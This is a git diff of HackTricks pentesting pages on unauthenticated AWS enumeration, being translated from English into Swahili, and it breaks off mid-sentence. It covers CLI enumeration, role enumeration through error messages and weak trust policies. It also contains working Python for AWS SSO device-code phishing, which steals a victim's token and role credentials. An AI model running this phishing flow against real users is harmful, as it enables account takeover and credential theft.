../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..df15de861 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiolezo cha URL ya Umma ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..5f49dd080 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -4,16 +4,12 @@ ## Dynamo DB -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +Mbali na kutoa ufikiaji kwa akaunti zote za AWS au baadhi ya akaunti za AWS za nje zilizovunjwa, au kuwa na baadhi ya SQL injections katika programu inayowasiliana na DynamoDB, sijaona chaguzi zaidi za kufikia akaunti za AWS kutoka DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..d01bf8dd3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## EC2 & Related Services -Check in this page more information about this: +Angalia katika ukurasa huu maelezo zaidi kuhusu hii: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ Check in this page more information about this: ### Public Ports -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +Inawezekana kufichua **bandari yoyote ya mashine za virtual kwa mtandao**. Kulingana na **kitu kinachotendeka** katika bandari iliyofichuliwa, mshambuliaji anaweza kuitumia vibaya. #### SSRF @@ -22,8 +22,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Public AMIs & EBS Snapshots -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: - +AWS inaruhusu **kutoa ufikiaji kwa mtu yeyote kupakua AMIs na Snapshots**. Unaweza kuorodhesha rasilimali hizi kwa urahisi kutoka kwa akaunti yako mwenyewe: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Ikiwa unapata snapshot ambayo inaweza kurejeshwa na mtu yeyote, hakikisha kuangalia [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) kwa maelekezo ya kupakua na kuiba snapshot hiyo. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Kiolezo cha URL ya Umma ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Kuorodhesha EC2 instances zenye IP ya umma ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..47939cd7d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,35 +4,27 @@ ## ECR -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### Repositories za umma (picha) +Kama ilivyotajwa katika sehemu ya ECS Enum, registry ya umma ni **inapatikana kwa mtu yeyote** inatumia muundo **`public.ecr.aws//`**. Ikiwa URL ya repository ya umma itapatikana na mshambuliaji anaweza **kupakua picha na kutafuta taarifa nyeti** katika metadata na maudhui ya picha. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> Hii inaweza pia kutokea katika **registries za kibinafsi** ambapo sera ya registry au sera ya hifadhi inatoa **ufikiaji kwa mfano kwa `"AWS": "*"`**. Mtu yeyote mwenye akaunti ya AWS anaweza kufikia hifadhi hiyo. ### Enumerate Private Repo -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. - +Zana [**skopeo**](https://github.com/containers/skopeo) na [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) zinaweza kutumika kuorodhesha hifadhi zinazopatikana ndani ya registry ya kibinafsi. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..014573d31 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -4,16 +4,15 @@ ## ECS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### Kundi la Usalama au Balancer ya Load Inayopatikana Hadharani kwa Huduma za ECS +Kundi la usalama lililo na makosa ambalo **linaruhusu trafiki ya ndani kutoka kwa mtandao (0.0.0.0/0 au ::/0)** kwa huduma za Amazon ECS linaweza kufichua rasilimali za AWS kwa mashambulizi. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..eb5ae7910 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Udhaifu wa Mtandao -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Kumbuka kwamba kwa default mazingira ya Beanstalk yana **Metadatav1 imezimwa**. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Muundo wa kurasa za wavuti za Beanstalk ni **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Sheria za Kundi la Usalama zisizo Salama -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Sheria za kundi la usalama zilizopangwa vibaya zinaweza kufichua mifano ya Elastic Beanstalk kwa umma. **Sheria za kuingia zenye ruhusa kupita kiasi, kama kuruhusu trafiki kutoka anwani yoyote ya IP (0.0.0.0/0) kwenye port nyeti, zinaweza kuwapa washambuliaji ufikiaji wa mfano**. -### Publicly Accessible Load Balancer +### Balancer ya Load inayopatikana kwa Umma -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Ikiwa mazingira ya Elastic Beanstalk yanatumia balancer ya load na balancer ya load imepangwa kuwa inapatikana kwa umma, washambuliaji wanaweza **kutuma maombi moja kwa moja kwa balancer ya load**. Ingawa hii inaweza kuwa si tatizo kwa programu za wavuti zinazokusudiwa kupatikana kwa umma, inaweza kuwa tatizo kwa programu au mazingira ya kibinafsi. -### Publicly Accessible S3 Buckets +### Mifuko ya S3 inayopatikana kwa Umma -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Programu za Elastic Beanstalk mara nyingi huhifadhiwa katika mifuko ya S3 kabla ya kutolewa. Ikiwa mfuko wa S3 unaoshikilia programu unapatikana kwa umma, mshambuliaji anaweza **kupakua msimbo wa programu na kutafuta udhaifu au taarifa nyeti**. +### Tambua Mazingira ya Umma ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..ea4460558 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiolezo cha URL ya Umma ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..7f87ae91f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -2,31 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Kuorodhesha Majukumu & Majina ya Watumiaji katika akaunti -### ~~Assume Role Brute-Force~~ +### ~~Kujifanya Kuwa na Majukumu kwa Nguvu~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Teknolojia hii haifanyi kazi** tena kwani ikiwa jukumu lipo au la, kila wakati unapata kosa hili: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Unaweza **kujaribu hii ukikimbia**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Kujaribu **kujifanya kuwa na jukumu bila ruhusa zinazohitajika** kunasababisha ujumbe wa kosa la AWS. Kwa mfano, ikiwa hauna ruhusa, AWS inaweza kurudisha: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Hujumuhimu huu unathibitisha uwepo wa jukumu lakini unaonyesha kwamba sera yake ya kudhani jukumu haikuruhusu kudhani. Kinyume chake, kujaribu **kudhani jukumu lisilokuwepo kunasababisha kosa tofauti**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` - Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. @@ -41,64 +37,60 @@ Configuring or updating an **IAM role's trust policy involves defining which AWS > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +Hii ni mfano wa sera: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +Hiyo ni **kosa** utakalo pata ikiwa utatumia **jukumu ambalo halipo**. Ikiwa jukumu **lipo**, sera itakuwa **imehifadhiwa** bila makosa yoyote. (Kosa ni kwa ajili ya sasisho, lakini pia inafanya kazi wakati wa kuunda) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` @@ -112,61 +104,55 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): ### Privesc In the case the role was bad configured an allows anyone to assume it: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - The attacker could just assume it. ## Third Party OIDC Federation -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: - +Fikiria kwamba umeweza kusoma **Github Actions workflow** inayofikia **role** ndani ya **AWS**.\ +Hii imani inaweza kutoa ufikiaji kwa role yenye **trust policy** ifuatayo: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Hii sera ya kuaminiana inaweza kuwa sahihi, lakini **ukosefu wa masharti zaidi** unapaswa kukufanya usiamini.\ +Hii ni kwa sababu jukumu la awali linaweza kuchukuliwa na **MTU YEYOTE kutoka Github Actions**! Unapaswa kubainisha katika masharti pia mambo mengine kama jina la shirika, jina la repo, env, brach... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Kukosea kwa uwekaji mwingine ni **kuongeza sharti** kama ifuatavyo: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` - -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. +Note that **wildcard** (\*) before the **colon** (:). Unaweza kuunda shirika kama **org_name1** na **assume the role** kutoka kwa Github Action. ## References @@ -174,7 +160,3 @@ Note that **wildcard** (\*) before the **colon** (:). You can create an org such - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..7b3e4b172 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,33 +4,30 @@ ## AWS Device Code Phishing -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Kwanza ilipendekezwa katika [**hiki blogu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), inawezekana kutuma **kiungo** kwa mtumiaji akitumia AWS SSO kwamba ikiwa **mtumiaji atakubali** mshambuliaji ataweza kupata **token ya kujifanya kuwa mtumiaji** na kufikia majukumu yote ambayo mtumiaji anaweza kufikia katika **Identity Center**. -In order to perform this attack the requisites are: +Ili kutekeleza shambulio hili, masharti ni: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- Mwathirika anahitaji kutumia **Identity Center** +- Mshambuliaji lazima ajue **subdomain** inayotumiwa na mwathirika `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Kwa kutumia taarifa hizo, **mshambuliaji ataweza kutuma kiungo kwa mtumiaji** kwamba ikiwa **kikubali** kitampa **mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS**. ### Attack -1. **Finding the subdomain** +1. **Kupata subdomain** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +Hatua ya kwanza ya mshambuliaji ni kugundua subdomain ambayo kampuni ya mwathirika inatumia katika Identity Center yao. Hii inaweza kufanywa kupitia **OSINT** au **kukisia + BF** kwani kampuni nyingi zitakuwa zikitumika jina lao au toleo la jina lao hapa. +Kwa kutumia taarifa hii, inawezekana kupata eneo ambapo Identity Center ilipangwa: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` - -2. **Generate the link for the victim & Send it** +2. **Tengeneza kiungo kwa mwathirika & Tuma** Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Kwa ajili ya onyesho, run this code in a python console and do not exit it as later you will need some objects to get the token: ```python import boto3 @@ -39,82 +36,77 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +Tuma kiungo kilichoundwa kwa mwathiriwa ukitumia ujuzi wako mzuri wa uhandisi wa kijamii! -Send the generated link to the victim using you awesome social engineering skills! +3. **Subiri hadi mwathiriwa akubali** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +Ikiwa mwathiriwa alikuwa **ameingia tayari kwenye AWS** atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa, atahitaji **kuingia na kisha kukubali kutoa ruhusa**.\ +Hii ndiyo jinsi ya kuonyesha inavyoonekana siku hizi:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **Pata token ya SSO** +Ikiwa mwathiriwa alikubali kuonyesha,endesha hii code ili **kuunda token ya SSO kwa kujifanya kama mtumiaji**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` - The SSO access token is **valid for 8h**. -5. **Impersonate the user** - +5. **Jifanya kuwa mtumiaji** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` - ### Phishing the unphisable MFA -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Ni furaha kujua kwamba shambulio la awali **linafanya kazi hata kama "MFA isiyoweza kudanganywa" (webAuth) inatumika**. Hii ni kwa sababu **mchakato wa awali hauondoki kwenye eneo la OAuth lililotumika**. Si kama katika shambulio zingine za phishing ambapo mtumiaji anahitaji kubadilisha eneo la kuingia, katika kesi ambapo mchakato wa nambari ya kifaa umeandaliwa hivyo **nambari inajulikana na kifaa** na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa **kujua nambari ya awali**, kitakuwa na uwezo wa **kurejesha akreditivu** za mtumiaji. -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). +Kwa maelezo zaidi kuhusu hii [**angalia chapisho hili**](https://mjg59.dreamwidth.org/62175.html). ### Automatic Tools @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..8ed866dea 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiolezo cha URL ya Umma ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..57a2530e2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiole ya URL ya Umma ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..c531814a4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -4,23 +4,17 @@ ## Public Function URL -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. +Inawezekana kuhusisha **Lambda** na **public function URL** ambayo mtu yeyote anaweza kufikia. Inaweza kuwa na udhaifu wa mtandao. ### Public URL template - ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Pata Kitambulisho cha Akaunti kutoka kwa URL ya Lambda ya Umma -### Get Account ID from public Lambda URL +Kama ilivyo kwa mifuko ya S3, Data Exchange na API gateways, inawezekana kupata kitambulisho cha akaunti ya akaunti inayotumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya lambda ya umma. Hii inafanywa kwa kupata kitambulisho cha akaunti moja herufi kwa wakati kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ +Teknolojia hii pia inaruhusu kupata **maadili ya lebo** ikiwa 